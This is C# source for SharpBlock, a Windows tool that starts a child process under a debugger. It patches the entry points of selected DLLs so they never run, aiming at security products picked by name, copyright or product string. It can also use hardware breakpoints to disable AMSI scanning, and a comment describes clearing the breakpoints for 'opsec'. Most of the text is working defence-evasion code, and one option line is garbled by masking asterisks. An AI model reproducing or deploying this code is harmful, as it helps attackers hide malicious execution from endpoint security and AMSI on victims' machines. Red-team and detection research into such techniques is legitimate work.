static string PatchEntryPointIfNeeded(IntPtr moduleHandle, IntPtr imageBase, IntPtr hProcess) { long fileSize; StringBuilder dllPath = new StringBuilder(1024); if (!WinAPI.GetFileSizeEx(moduleHandle, out fileSize) || fileSize == 0) { return(null); } IntPtr handle = WinAPI.CreateFileMapping(moduleHandle, IntPtr.Zero, WinAPI.FileMapProtection.PageReadonly | WinAPI.FileMapProtection.SectionImage, 0, 0, null); if (handle == IntPtr.Zero) { return(null); } IntPtr mem = WinAPI.MapViewOfFile(handle, WinAPI.FileMapAccess.FileMapRead, 0, 0, UIntPtr.Zero); if (mem == IntPtr.Zero) { return(null); } if (WinAPI.GetFinalPathNameByHandle(moduleHandle, dllPath, (uint)dllPath.Capacity, 0) == 0) { return(null); } dllPath = dllPath.Replace("\\\\?\\", ""); PE.IMAGE_DOS_HEADER dosHeader = (PE.IMAGE_DOS_HEADER)Marshal.PtrToStructure(mem, typeof(PE.IMAGE_DOS_HEADER)); PE.IMAGE_FILE_HEADER fileHeader = (PE.IMAGE_FILE_HEADER)Marshal.PtrToStructure(new IntPtr(mem.ToInt64() + dosHeader.e_lfanew), typeof(PE.IMAGE_FILE_HEADER)); UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100; IntPtr entryPoint; if ((fileHeader.Characteristics & IMAGE_FILE_32BIT_MACHINE) == IMAGE_FILE_32BIT_MACHINE) { PE.IMAGE_OPTIONAL_HEADER32 optionalHeader = (PE.IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure (new IntPtr(mem.ToInt64() + dosHeader.e_lfanew + Marshal.SizeOf(typeof(PE.IMAGE_FILE_HEADER))), typeof(PE.IMAGE_OPTIONAL_HEADER32)); entryPoint = new IntPtr(optionalHeader.AddressOfEntryPoint + imageBase.ToInt32()); } else { PE.IMAGE_OPTIONAL_HEADER64 optionalHeader = (PE.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure (new IntPtr(mem.ToInt64() + dosHeader.e_lfanew + Marshal.SizeOf(typeof(PE.IMAGE_FILE_HEADER))), typeof(PE.IMAGE_OPTIONAL_HEADER64)); entryPoint = new IntPtr(optionalHeader.AddressOfEntryPoint + imageBase.ToInt64()); } if (ShouldBlockDLL(dllPath.ToString())) { Console.WriteLine($"[+] Blocked DLL {dllPath}"); byte[] retIns = new byte[1] { 0xC3 }; IntPtr bytesWritten; Console.WriteLine("[+] Patching DLL Entry Point at 0x{0:x}", entryPoint.ToInt64()); if (WinAPI.WriteProcessMemory(hProcess, entryPoint, retIns, 1, out bytesWritten)) { Console.WriteLine("[+] Successfully patched DLL Entry Point"); } else { Console.WriteLine("[!] Failed patched DLL Entry Point"); } } return(dllPath.ToString()); }
static void Main(string[] args) { string program = "c:\\windows\\system32\\cmd.exe"; string programArgs = ""; bool showHelp = false; bool bypass = false; Console.WriteLine( "SharpBlock by @_EthicalChaos_\n" + $" DLL Blocking app for child processes { (IntPtr.Size == 8 ? "x86_64" : "x86")} \n" ); OptionSet option_set = new OptionSet() .Add("e=|exe=", "Program to execute (default cmd.exe)", v => program = v) .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v) .Add("n=|name=", "Name of DLL to block", v => blockDllName.Add(v)) .Add("c=|copyright=", "Copyright string to block", v => blockCopyright.Add(v)) .Add("p=|product=", "Product string to block", v => blockProduct.Add(v)) .Add("d=|description=", "Description string to block", v => blockDescription.Add(v)) .Add("b=|bypass="******"Bypasses AMSI within the executed process (true|false)", v => bypass = v != null) .Add("h|help", "Display this help", v => showHelp = v != null); try { option_set.Parse(args); if (showHelp) { option_set.WriteOptionDescriptions(Console.Out); return; } } catch (Exception e) { Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message); option_set.WriteOptionDescriptions(Console.Out); return; } IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll"); amsiInitalizePtr = WinAPI.GetProcAddress(amsiBase, "AmsiInitialize"); Console.WriteLine($"[+] in-proc AMSI 0x{amsiBase:8x}"); STARTUPINFO startupInfo = new STARTUPINFO(); startupInfo.cb = (uint)Marshal.SizeOf(startupInfo); PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); if (!CreateProcess(program, $"\"{program}\" {programArgs}", IntPtr.Zero, IntPtr.Zero, true, WinAPI.DEBUG_PROCESS, IntPtr.Zero, null, ref startupInfo, out pi)) { Console.WriteLine($"[!] Failed to create process {program}"); return; } Console.WriteLine($"[+] Launched process {program} with PID {pi.dwProcessId}"); bool bContinueDebugging = true; Dictionary <uint, IntPtr> processHandles = new Dictionary <uint, IntPtr>(); Dictionary <uint, IntPtr> threadHandles = new Dictionary <uint, IntPtr>(); while (bContinueDebugging) { IntPtr debugEventPtr = Marshal.AllocHGlobal(1024); bool bb = WinAPI.WaitForDebugEvent(debugEventPtr, 1000); UInt32 dwContinueDebugEvent = WinAPI.DBG_CONTINUE; if (bb) { WinAPI.DEBUG_EVENT DebugEvent = (WinAPI.DEBUG_EVENT)Marshal.PtrToStructure(debugEventPtr, typeof(WinAPI.DEBUG_EVENT)); IntPtr debugInfoPtr = GetIntPtrFromByteArray(DebugEvent.u); switch (DebugEvent.dwDebugEventCode) { case WinAPI.CREATE_PROCESS_DEBUG_EVENT: WinAPI.CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfo = (WinAPI.CREATE_PROCESS_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_PROCESS_DEBUG_INFO)); processHandles[DebugEvent.dwProcessId] = CreateProcessDebugInfo.hProcess; threadHandles[DebugEvent.dwThreadId] = CreateProcessDebugInfo.hThread; if (bypass) { SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr); } break; case WinAPI.CREATE_THREAD_DEBUG_EVENT: WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO)); threadHandles[DebugEvent.dwThreadId] = CreateThreadDebugInfo.hThread; if (bypass) { SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, amsiInitalizePtr); } break; case WinAPI.EXIT_PROCESS_DEBUG_EVENT: if (pi.dwProcessId == DebugEvent.dwProcessId) { bContinueDebugging = false; } break; case WinAPI.LOAD_DLL_DEBUG_EVENT: WinAPI.LOAD_DLL_DEBUG_INFO LoadDLLDebugInfo = (WinAPI.LOAD_DLL_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.LOAD_DLL_DEBUG_INFO)); string dllPath = PatchEntryPointIfNeeded(LoadDLLDebugInfo.hFile, LoadDLLDebugInfo.lpBaseOfDll, processHandles[DebugEvent.dwProcessId]); break; case WinAPI.EXCEPTION_DEBUG_EVENT: WinAPI.EXCEPTION_DEBUG_INFO ExceptionDebugInfo = (WinAPI.EXCEPTION_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.EXCEPTION_DEBUG_INFO)); if (ExceptionDebugInfo.ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP) { //Check to see if the single step breakpoint is at AmsiInitalize if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == amsiInitalizePtr) { //It is, to update the thread context to return to caller with //an invalid result DisableAMSI(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]); //Opsec purposes, lets now clear all threads of hardware breakpoints ClearHardwareBreakpoints(threadHandles.Values.ToArray()); } } else { dwContinueDebugEvent = WinAPI.DBG_EXCEPTION_NOT_HANDLED; } break; } WinAPI.ContinueDebugEvent((uint)DebugEvent.dwProcessId, (uint)DebugEvent.dwThreadId, dwContinueDebugEvent); } if (debugEventPtr != null) { Marshal.FreeHGlobal(debugEventPtr); } } int exitCode; WinAPI.GetExitCodeProcess(pi.hProcess, out exitCode); Console.WriteLine($"[+] Process {program} with PID {pi.dwProcessId} exited wit code {exitCode}"); }